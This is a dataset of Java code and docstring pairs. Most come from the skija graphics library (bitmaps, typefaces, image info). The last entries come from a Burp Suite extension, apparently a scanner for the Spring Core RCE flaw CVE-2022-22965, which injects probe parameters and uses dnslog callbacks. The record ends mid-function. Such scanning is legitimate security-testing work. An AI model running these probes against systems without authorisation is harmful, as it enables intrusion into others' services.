<p>Sets ImageInfo to info following the rules in {@link #setImageInfo(ImageInfo, long)} and allocates pixel
memory.</p>
<p>Returns false and calls reset() if ImageInfo could not be set, or memory could
not be allocated.</p>
<p>On most platforms, allocating pixel memory may succeed even though there is
not sufficient memory to hold pixels; allocation does not take place
until the pixels are written to. The actual behavior depends on the platform
implementation of malloc().</p>
@param imageInfo contains width, height, ColorAlphaType, ColorType, ColorSpace
@return true if pixel storage is allocated
@see <a href="https://fiddle.skia.org/c/@Bitmap_allocPixels_2">https://fiddle.skia.org/c/@Bitmap_allocPixels_2</a>
| Bitmap::allocPixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocN32Pixels(int width, int height) {
return allocN32Pixels(width, height, false);
} |
Sets ImageInfo to width, height, and native color type; and allocates
pixel memory. Sets ImageInfo to {@link ColorAlphaType#PREMUL}.
Calls reset() and returns false if width exceeds 29 bits or is negative,
or height is negative.
Returns false if allocation fails.
Use to create Bitmap that matches the native pixel arrangement on
the platform. Bitmap drawn to output device skips converting its pixel format.
@param width pixel column count; must be zero or greater
@param height pixel row count; must be zero or greater
@return true if pixel storage is allocated
| Bitmap::allocN32Pixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocN32Pixels(int width, int height, boolean opaque) {
return allocPixels(ImageInfo.makeN32(width, height, opaque ? ColorAlphaType.OPAQUE : ColorAlphaType.PREMUL));
} |
Sets ImageInfo to width, height, and native color type; and allocates
pixel memory. If opaque is true, sets ImageInfo to {@link ColorAlphaType#OPAQUE};
otherwise, sets to {@link ColorAlphaType#PREMUL}.
Calls reset() and returns false if width exceeds 29 bits or is negative,
or height is negative.
Returns false if allocation fails.
Use to create Bitmap that matches the native pixel arrangement on
the platform. Bitmap drawn to output device skips converting its pixel format.
@param width pixel column count; must be zero or greater
@param height pixel row count; must be zero or greater
@param opaque true if pixels do not have transparency
@return true if pixel storage is allocated
| Bitmap::allocN32Pixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean installPixels(@NotNull ImageInfo info,
@Nullable byte[] pixels,
long rowBytes) {
try {
_imageInfo = null;
Stats.onNativeCall();
return _nInstallPixels(_ptr,
info._width,
info._height,
info._colorInfo._colorType.ordinal(),
info._colorInfo._alphaType.ordinal(),
Native.getPtr(info._colorInfo._colorSpace),
pixels,
rowBytes);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(info._colorInfo._colorSpace);
}
} |
<p>Sets ImageInfo to info following the rules in setImageInfo(), and creates PixelRef
containing pixels and rowBytes.</p>
<p>If ImageInfo could not be set, or rowBytes is less than info.getMinRowBytes():
calls reset(), and returns false.</p>
@param info contains width, height, SkAlphaType, SkColorType, SkColorSpace
@param pixels pixel storage
@param rowBytes size of pixel row or larger
@return true if ImageInfo is set to info
| Bitmap::installPixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean allocPixels() {
try {
_imageInfo = null;
Stats.onNativeCall();
return _nAllocPixels(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Allocates pixel memory with HeapAllocator, and replaces existing PixelRef.
The allocation size is determined by ImageInfo width, height, and ColorType.</p>
<p>Returns false if info().colorType() is {@link ColorType#UNKNOWN}, or allocation fails.</p>
@return true if the allocation succeeds
| Bitmap::allocPixels | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean isReadyToDraw() {
try {
Stats.onNativeCall();
return _nIsReadyToDraw(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns true if Bitmap can be drawn.
@return true if getPixels() is not null
| Bitmap::isReadyToDraw | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public int getGenerationId() {
try {
Stats.onNativeCall();
return _nGetGenerationId(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns a unique value corresponding to the pixels in PixelRef.
Returns a different value after notifyPixelsChanged() has been called.
Returns zero if PixelRef is null.</p>
<p>Determines if pixels have changed since last examined.</p>
@return unique value for pixels in PixelRef
@see <a href="https://fiddle.skia.org/c/@Bitmap_getGenerationID">https://fiddle.skia.org/c/@Bitmap_getGenerationID</a>
| Bitmap::getGenerationId | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public int getColor(int x, int y) {
try {
Stats.onNativeCall();
return _nGetColor(_ptr, x, y);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns pixel at (x, y) as unpremultiplied color.
Returns black with alpha if ColorType is {@link ColorType#ALPHA_8}.</p>
<p>Input is not validated: out of bounds values of x or y returns undefined values
or may crash if. Fails if ColorType is {@link ColorType#UNKNOWN} or
pixel address is nullptr.</p>
<p>ColorSpace in ImageInfo is ignored. Some color precision may be lost in the
conversion to unpremultiplied color; original pixel data may have additional
precision.</p>
@param x column index, zero or greater, and less than getWidth()
@param y row index, zero or greater, and less than getHeight()
@return pixel converted to unpremultiplied color
| Bitmap::getColor | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public float getAlphaf(int x, int y) {
try {
Stats.onNativeCall();
return _nGetAlphaf(_ptr, x, y);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Look up the pixel at (x,y) and return its alpha component, normalized to [0..1].
This is roughly equivalent to GetColorA(getColor()), but can be more efficent
(and more precise if the pixels store more than 8 bits per component).</p>
@param x column index, zero or greater, and less than getWidth()
@param y row index, zero or greater, and less than getHeight()
@return alpha converted to normalized float
| Bitmap::getAlphaf | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean extractSubset(@NotNull Bitmap dst, @NotNull IRect subset) {
try {
Stats.onNativeCall();
return _nExtractSubset(_ptr, Native.getPtr(dst), subset._left, subset._top, subset._right, subset._bottom);
} finally {
Reference.reachabilityFence(this);
Reference.reachabilityFence(dst);
}
} |
<p>Shares PixelRef with dst. Pixels are not copied; this and dst point
to the same pixels; dst.getBounds() are set to the intersection of subset
and the original getBounds().</p>
<p>subset may be larger than getBounds(). Any area outside of getBounds() is ignored.</p>
<p>Any contents of dst are discarded. isVolatile() setting is copied to dst.
dst is set to getColorType(), getAlphaType(), and getColorSpace().</p>
<p>Return false if:
<ul>
<li>dst is null</li>
<li>PixelRef is null</li>
<li>subset does not intersect getBounds()</li>
</ul>
@param dst Bitmap set to subset
@param subset rectangle of pixels to reference
@return true if dst is replaced by subset
@see <a href="https://fiddle.skia.org/c/@Bitmap_extractSubset">https://fiddle.skia.org/c/@Bitmap_extractSubset</a>
| Bitmap::extractSubset | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public boolean extractAlpha(@NotNull Bitmap dst) {
return extractAlpha(dst, null) != null;
} |
<p>Sets dst to alpha described by pixels. Returns false if dst cannot
be written to or dst pixels cannot be allocated.</p>
@param dst holds PixelRef to fill with alpha layer
@return true if alpha layer was not constructed in dst PixelRef
| Bitmap::extractAlpha | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public static void drawShadow(@NotNull Canvas canvas,
@NotNull Path path,
@NotNull Point3 zPlaneParams,
@NotNull Point3 lightPos,
float lightRadius,
int ambientColor,
int spotColor,
boolean transparentOccluder,
boolean geometricOnly)
{
Stats.onNativeCall();
int flags = 0;
if (transparentOccluder)
flags |= 1;
if (geometricOnly)
flags |= 2;
_nDrawShadow(Native.getPtr(canvas), Native.getPtr(path), zPlaneParams._x, zPlaneParams._y, zPlaneParams._z,
lightPos._x, lightPos._y, lightPos._z, lightRadius, ambientColor, spotColor, flags);
} |
Draw an offset spot shadow and outlining ambient shadow for the given path using a disc
light. The shadow may be cached, depending on the path type and canvas matrix. If the
matrix is perspective or the path is volatile, it will not be cached.
@param canvas The canvas on which to draw the shadows.
@param path The occluder used to generate the shadows.
@param zPlaneParams Values for the plane function which returns the Z offset of the
occluder from the canvas based on local x and y values (the current matrix is not applied).
@param lightPos The 3D position of the light relative to the canvas plane. This is
independent of the canvas's current matrix.
@param lightRadius The radius of the disc light.
@param ambientColor The color of the ambient shadow.
@param spotColor The color of the spot shadow.
@param transparentOccluder The occluding object is not opaque. Knowing that the occluder is opaque allows
us to cull shadow geometry behind it and improve performance.
@param geometricOnly Don't try to use analytic shadows.
| ShadowUtils::drawShadow | java | JetBrains/skija | shared/java/ShadowUtils.java | https://github.com/JetBrains/skija/blob/master/shared/java/ShadowUtils.java | Apache-2.0 |
public static int computeTonalAmbientColor(int ambientColor, int spotColor) {
Stats.onNativeCall();
return _nComputeTonalAmbientColor(ambientColor, spotColor);
} |
Helper routine to compute ambient color value for one-pass tonal alpha.
@param ambientColor Original ambient color
@param spotColor Original spot color
@return Modified ambient color
| ShadowUtils::computeTonalAmbientColor | java | JetBrains/skija | shared/java/ShadowUtils.java | https://github.com/JetBrains/skija/blob/master/shared/java/ShadowUtils.java | Apache-2.0 |
public static int computeTonalSpotColor(int ambientColor, int spotColor) {
Stats.onNativeCall();
return _nComputeTonalSpotColor(ambientColor, spotColor);
} |
Helper routine to compute spot color value for one-pass tonal alpha.
@param ambientColor Original ambient color
@param spotColor Original spot color
@return Modified spot color
| ShadowUtils::computeTonalSpotColor | java | JetBrains/skija | shared/java/ShadowUtils.java | https://github.com/JetBrains/skija/blob/master/shared/java/ShadowUtils.java | Apache-2.0 |
public FontStyle getFontStyle() {
try {
Stats.onNativeCall();
return new FontStyle(_nGetFontStyle(_ptr));
} finally {
Reference.reachabilityFence(this);
}
} |
@return the typeface’s intrinsic style attributes
| Typeface::getFontStyle | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public boolean isBold() {
return getFontStyle().getWeight() >= FontWeight.SEMI_BOLD;
} |
@return true if {@link #getFontStyle()} has the bold bit set
| Typeface::isBold | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public boolean isItalic() {
return getFontStyle().getSlant() != FontSlant.UPRIGHT;
} |
@return true if {@link #getFontStyle()} has the italic bit set
| Typeface::isItalic | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public boolean isFixedPitch() {
try {
Stats.onNativeCall();
return _nIsFixedPitch(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
This is a style bit, advance widths may vary even if this returns true.
@return true if the typeface claims to be fixed-pitch
| Typeface::isFixedPitch | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public int getUniqueId() {
try {
Stats.onNativeCall();
return _nGetUniqueId(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return a 32bit value for this typeface, unique for the underlying font data. Never 0
| Typeface::getUniqueId | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public Typeface makeClone(FontVariation variation) {
return makeClone(new FontVariation[] { variation }, 0);
} |
Return a new typeface based on this typeface but parameterized as specified in the
variation. If the variation does not supply an argument for a parameter
in the font then the value from this typeface will be used as the value for that argument.
@return same typeface if variation already matches, new typeface otherwise
@throws IllegalArgumentException on failure
| Typeface::makeClone | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public Typeface makeClone(FontVariation[] variations) {
return makeClone(variations, 0);
} |
Return a new typeface based on this typeface but parameterized as specified in the
variations. If the variations does not supply an argument for a parameter
in the font then the value from this typeface will be used as the value for that argument.
@return same typeface if all variation already match, new typeface otherwise
@throws IllegalArgumentException on failure
| Typeface::makeClone | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public Typeface makeClone(FontVariation[] variations, int collectionIndex) {
try {
if (variations.length == 0)
return this;
Stats.onNativeCall();
long ptr = _nMakeClone(_ptr, variations, collectionIndex);
if (ptr == 0)
throw new IllegalArgumentException("Failed to clone Typeface " + this + " with " + Arrays.toString(variations));
return new Typeface(ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Return a new typeface based on this typeface but parameterized as specified in the
variations. If the variations does not supply an argument for a parameter
in the font then the value from this typeface will be used as the value for that argument.
@return same typeface if all variation already match, new typeface otherwise
@throws IllegalArgumentException on failure
| Typeface::makeClone | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public short[] getStringGlyphs(String s) {
return getUTF32Glyphs(s.codePoints().toArray());
} |
Given a string, returns corresponding glyph ids.
@return the corresponding glyph ids for each character.
| Typeface::getStringGlyphs | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public short[] getUTF32Glyphs(int[] uni) {
try {
Stats.onNativeCall();
return _nGetUTF32Glyphs(_ptr, uni);
} finally {
Reference.reachabilityFence(this);
}
} |
Given an array of UTF32 character codes, return their corresponding glyph IDs.
@return the corresponding glyph IDs for each character.
| Typeface::getUTF32Glyphs | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public short getUTF32Glyph(int unichar) {
try {
Stats.onNativeCall();
return _nGetUTF32Glyph(_ptr, unichar);
} finally {
Reference.reachabilityFence(this);
}
} |
This is a short-cut for calling {@link #getUTF32Glyphs(int[])}.
@return the glyph that corresponds to the specified unicode code-point (in UTF32 encoding). If the unichar is not supported, returns 0
| Typeface::getUTF32Glyph | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public int getGlyphsCount() {
try {
Stats.onNativeCall();
return _nGetGlyphsCount(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return the number of glyphs in the typeface
| Typeface::getGlyphsCount | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public int getTablesCount() {
try {
Stats.onNativeCall();
return _nGetTablesCount(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return the number of tables in the font
| Typeface::getTablesCount | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public String[] getTableTags() {
try {
Stats.onNativeCall();
return Arrays.stream(_nGetTableTags(_ptr)).mapToObj(FourByteTag::toString).toArray(String[]::new);
} finally {
Reference.reachabilityFence(this);
}
} |
@return the list of table tags in the font
| Typeface::getTableTags | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
public boolean isEmpty() {
return _width <= 0 || _height <= 0;
} |
@return true if either dimension is zero or smaller
| ImageInfo::isEmpty | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public boolean isOpaque() {
return _colorInfo.isOpaque();
} |
<p>Returns true if ColorAlphaType is set to hint that all pixels are opaque; their
alpha value is implicitly or explicitly 1.0. If true, and all pixels are
not opaque, Skia may draw incorrectly.</p>
<p>Does not check if ColorType allows alpha, or if any pixel value has
transparency.</p>
@return true if alphaType is {@link ColorAlphaType#OPAQUE}
| ImageInfo::isOpaque | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public boolean isGammaCloseToSRGB() {
return _colorInfo.isGammaCloseToSRGB();
} |
@return true if associated ColorSpace is not null, and ColorSpace gamma
is approximately the same as sRGB.
| ImageInfo::isGammaCloseToSRGB | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public int getBytesPerPixel() {
return _colorInfo.getBytesPerPixel();
} |
Returns number of bytes per pixel required by ColorType.
Returns zero if {@link #getColorType()} is {@link ColorType#UNKNOWN}.
@return bytes in pixel
| ImageInfo::getBytesPerPixel | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public int getShiftPerPixel() {
return _colorInfo.getShiftPerPixel();
} |
Returns bit shift converting row bytes to row pixels.
Returns zero for {@link ColorType#UNKNOWN}.
@return one of: 0, 1, 2, 3, 4; left shift to convert pixels to bytes
| ImageInfo::getShiftPerPixel | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public long getMinRowBytes() {
return _width * getBytesPerPixel();
} |
Returns minimum bytes per row, computed from pixel getWidth() and ColorType, which
specifies getBytesPerPixel(). Bitmap maximum value for row bytes must fit
in 31 bits.
| ImageInfo::getMinRowBytes | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public long computeOffset(int x, int y, long rowBytes) {
return _colorInfo._colorType.computeOffset(x, y, rowBytes);
} |
<p>Returns byte offset of pixel from pixel base address.</p>
<p>Asserts in debug build if x or y is outside of bounds. Does not assert if
rowBytes is smaller than {@link #getMinRowBytes()}, even though result may be incorrect.</p>
@param x column index, zero or greater, and less than getWidth()
@param y row index, zero or greater, and less than getHeight()
@param rowBytes size of pixel row or larger
@return offset within pixel array
@see <a href="https://fiddle.skia.org/c/@ImageInfo_computeOffset">https://fiddle.skia.org/c/@ImageInfo_computeOffset</a>
| ImageInfo::computeOffset | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public long computeByteSize(long rowBytes) {
if (0 == _height) return 0;
return (_height - 1) * rowBytes + _width * getBytesPerPixel();
} |
<p>Returns storage required by pixel array, given ImageInfo dimensions, ColorType,
and rowBytes. rowBytes is assumed to be at least as large as {@link #getMinRowBytes()}.</p>
<p>Returns zero if height is zero.</p>
@param rowBytes size of pixel row or larger
@return memory required by pixel buffer
@see <a href="https://fiddle.skia.org/c/@ImageInfo_computeByteSize">https://fiddle.skia.org/c/@ImageInfo_computeByteSize</a>
| ImageInfo::computeByteSize | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public long computeMinByteSize() {
return computeByteSize(getMinRowBytes());
} |
<p>Returns storage required by pixel array, given ImageInfo dimensions, and
ColorType. Uses {@link #getMinRowBytes()} to compute bytes for pixel row.</p>
Returns zero if height is zero.
@return least memory required by pixel buffer
| ImageInfo::computeMinByteSize | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public boolean isRowBytesValid(long rowBytes) {
if (rowBytes < getMinRowBytes())
return false;
int shift = getShiftPerPixel();
return rowBytes >> shift << shift == rowBytes;
} |
Returns true if rowBytes is valid for this ImageInfo.
@param rowBytes size of pixel row including padding
@return true if rowBytes is large enough to contain pixel row and is properly aligned
| ImageInfo::isRowBytesValid | java | JetBrains/skija | shared/java/ImageInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/ImageInfo.java | Apache-2.0 |
public String getScript() {
return FourByteTag.toString(_scriptTag);
} | package org.jetbrains.skija.shaper;
import lombok.*;
import org.jetbrains.annotations.*;
import org.jetbrains.skija.*;
@AllArgsConstructor
@lombok.Data
public class ScriptRun {
@ApiStatus.Internal public final int _end;
@ApiStatus.Internal public final int _scriptTag;
public ScriptRun(int end, String script) {
this(end, FourByteTag.fromString(script));
}
/** Should be iso15924 codes. | ScriptRun::getScript | java | JetBrains/skija | shared/java/shaper/ScriptRun.java | https://github.com/JetBrains/skija/blob/master/shared/java/shaper/ScriptRun.java | Apache-2.0 |
public int getRangeEnd() {
return _rangeBegin + _rangeSize;
} | package org.jetbrains.skija.shaper;
import lombok.*;
import org.jetbrains.annotations.*;
import org.jetbrains.skija.*;
import org.jetbrains.skija.impl.*;
@lombok.Data
public class RunInfo {
@Getter(AccessLevel.NONE)
public long _fontPtr;
public final int _bidiLevel;
public final float _advanceX;
public final float _advanceY;
public final long _glyphCount;
/** WARN does not work in Shaper.makeCoreText https://bugs.chromium.org/p/skia/issues/detail?id=10899
public final int _rangeBegin;
/** WARN does not work in Shaper.makeCoreText https://bugs.chromium.org/p/skia/issues/detail?id=10899
public final int _rangeSize;
public RunInfo(long fontPtr, int biDiLevel, float advanceX, float advanceY, long glyphCount, int rangeBegin, int rangeSize) {
_fontPtr = fontPtr;
_bidiLevel = biDiLevel;
_advanceX = advanceX;
_advanceY = advanceY;
_glyphCount = glyphCount;
_rangeBegin = rangeBegin;
_rangeSize = rangeSize;
}
public Point getAdvance() {
return new Point(_advanceX, _advanceY);
}
/** WARN does not work in Shaper.makeCoreText https://bugs.chromium.org/p/skia/issues/detail?id=10899 | RunInfo::getRangeEnd | java | JetBrains/skija | shared/java/shaper/RunInfo.java | https://github.com/JetBrains/skija/blob/master/shared/java/shaper/RunInfo.java | Apache-2.0 |
public static Canvas make(Rect bounds, WStream out) {
return make(bounds, out, false, true);
} |
Returns a new canvas that will generate SVG commands from its draw calls, and send
them to the provided stream. Ownership of the stream is not transfered, and it must
remain valid for the lifetime of the returned canvas.
The canvas may buffer some drawing calls, so the output is not guaranteed to be valid
or complete until the canvas instance is deleted.
@param bounds defines an initial SVG viewport (viewBox attribute on the root SVG element).
@param out stream SVG commands will be written to
@return new Canvas
| SVGCanvas::make | java | JetBrains/skija | shared/java/svg/SVGCanvas.java | https://github.com/JetBrains/skija/blob/master/shared/java/svg/SVGCanvas.java | Apache-2.0 |
public float getDuration() {
try {
Stats.onNativeCall();
return _nGetDuration(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return the animation duration in seconds
| Animation::getDuration | java | JetBrains/skija | shared/java/skottie/Animation.java | https://github.com/JetBrains/skija/blob/master/shared/java/skottie/Animation.java | Apache-2.0 |
public float getFPS() {
try {
Stats.onNativeCall();
return _nGetFPS(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return the animation frame rate (frames / second)
| Animation::getFPS | java | JetBrains/skija | shared/java/skottie/Animation.java | https://github.com/JetBrains/skija/blob/master/shared/java/skottie/Animation.java | Apache-2.0 |
public float getInPoint() {
try {
Stats.onNativeCall();
return _nGetInPoint(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return Animation in point, in frame index units
| Animation::getInPoint | java | JetBrains/skija | shared/java/skottie/Animation.java | https://github.com/JetBrains/skija/blob/master/shared/java/skottie/Animation.java | Apache-2.0 |
public float getOutPoint() {
try {
Stats.onNativeCall();
return _nGetOutPoint(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
@return Animation out point, in frame index units
| Animation::getOutPoint | java | JetBrains/skija | shared/java/skottie/Animation.java | https://github.com/JetBrains/skija/blob/master/shared/java/skottie/Animation.java | Apache-2.0 |
public TextBox[] getRectsForRange(int start, int end, RectHeightMode rectHeightMode, RectWidthMode rectWidthMode) {
try {
Stats.onNativeCall();
return _nGetRectsForRange(_ptr, start, end, rectHeightMode.ordinal(), rectWidthMode.ordinal());
} finally {
Reference.reachabilityFence(this);
}
} |
Returns a vector of bounding boxes that enclose all text between
start and end char indices, including start and excluding end.
| Paragraph::getRectsForRange | java | JetBrains/skija | shared/java/paragraph/Paragraph.java | https://github.com/JetBrains/skija/blob/master/shared/java/paragraph/Paragraph.java | Apache-2.0 |
public double getLineHeight() {
return _ascent + _descent;
} |
The height of the current line, equals to {@code Math.round(getAscent() + getDescent())}.
| LineMetrics::getLineHeight | java | JetBrains/skija | shared/java/paragraph/LineMetrics.java | https://github.com/JetBrains/skija/blob/master/shared/java/paragraph/LineMetrics.java | Apache-2.0 |
public double getRight() {
return _left + _width;
} |
The right edge of the line, equals to {@code getLeft() + getWidth()}
| LineMetrics::getRight | java | JetBrains/skija | shared/java/paragraph/LineMetrics.java | https://github.com/JetBrains/skija/blob/master/shared/java/paragraph/LineMetrics.java | Apache-2.0 |
private static String determineConfigPath() {
// Jar包所在目录
String jarPath = BurpExtender.callbacks.getExtensionFilename();
String jarDirectory = new File(jarPath).getParent();
return String.format("%s/config", jarDirectory);
} |
获取当前jar包目录
| ConfigLoader::determineConfigPath | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
private static void defaultConfigFile() {
Map<String, Object> data = new HashMap<>();
List<String> list = new ArrayList<>();
list.add("xxxxxx.ceye.io");
list.add("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
data.put("isEnable", true);
data.put("isErrorCheck", true);
data.put("isReverseCheck", true);
data.put("backendPlat", "Dnslog");
data.put("ceyes", list);
YamlUtil.saveYaml(data, configFileName);
} |
初始化默认配置文件
| ConfigLoader::defaultConfigFile | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
public static void saveConfig(Map<String, Object> map) {
YamlUtil.saveYaml(map, configFileName);
} |
保存配置文件
| ConfigLoader::saveConfig | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
public static Map<String, Object> loadConfig() {
return YamlUtil.loadYaml(configFileName);
} |
读取配置文件
| ConfigLoader::loadConfig | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
private void initDomain() {
String url = this.platform + "getdomain.php?t=0." + Utils.getRandomLong();
try {
byte[] rawRequest = this.helpers.buildHttpRequest(new URL(url));
IHttpService service = this.helpers.buildHttpService("www.dnslog.cn", 80, "HTTP");
IHttpRequestResponse requestResponse = this.callbacks.makeHttpRequest(service, rawRequest);
byte[] rawResponse = requestResponse.getResponse();
IResponseInfo responseInfo = this.helpers.analyzeResponse(rawResponse);
// 获取响应包body内容 => 即dnslog的子域名
this.rootDomain = new String(rawResponse).substring(responseInfo.getBodyOffset()).trim();
// 提取cookie
List<ICookie> cookies = responseInfo.getCookies();
for (ICookie cookie : cookies) {
if (cookie.getName().equals("PHPSESSID")) {
this.iCookie = cookie;
}
}
this.stdout.println("[*] Get domain: " + this.rootDomain);
} catch (MalformedURLException e) {
e.printStackTrace();
this.stdout.println("[-] Fail to get domain");
this.stderr.println(e.getMessage());
}
} |
获取 dnslog 子域名
| Dnslog::initDomain | java | metaStor/SpringScan | src/main/java/burp/backend/platform/Dnslog.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/backend/platform/Dnslog.java | MIT |
private IScanIssue errorScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) {
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
// this.burpExtender.stdout.println(Utils.bytes2Hex(newHeaderRequest));
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
String method = requestInfo.getMethod();
// 验证poc1
IPoc poc1 = this.pocs[0];
String[] poc11 = poc1.genPoc().split("=");
String key = poc11[0];
String value = String.format(poc11[1], Utils.randomStr(3));
String value2 = String.format(poc11[1], "false");
// 将poc作为新参数加入请求中
IParameter newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
byte[] newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq);
IHttpRequestResponse requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
IResponseInfo response1 = this.helpers.analyzeResponse(requestResponse1.getResponse());
// 第一次请求为报错状态码,
if (Utils.isErrorStatusCode(response1.getStatusCode())) {
newParam = this.helpers.buildParameter(key, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq);
IHttpRequestResponse requestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
IResponseInfo response2 = this.helpers.analyzeResponse(requestResponse2.getResponse());
// 第二次正常请求,防止扫到原本就报错的站
if (!Utils.isErrorStatusCode(response2.getStatusCode())) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"Medium",
"UnCertain",
null,
null,
"Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(),
null,
new IHttpRequestResponse[]{requestResponse2},
requestResponse2.getHttpService()
);
}
}
// 验证poc2
IPoc poc2 = this.pocs[1];
String[] poc22 = poc2.genPoc().split("=");
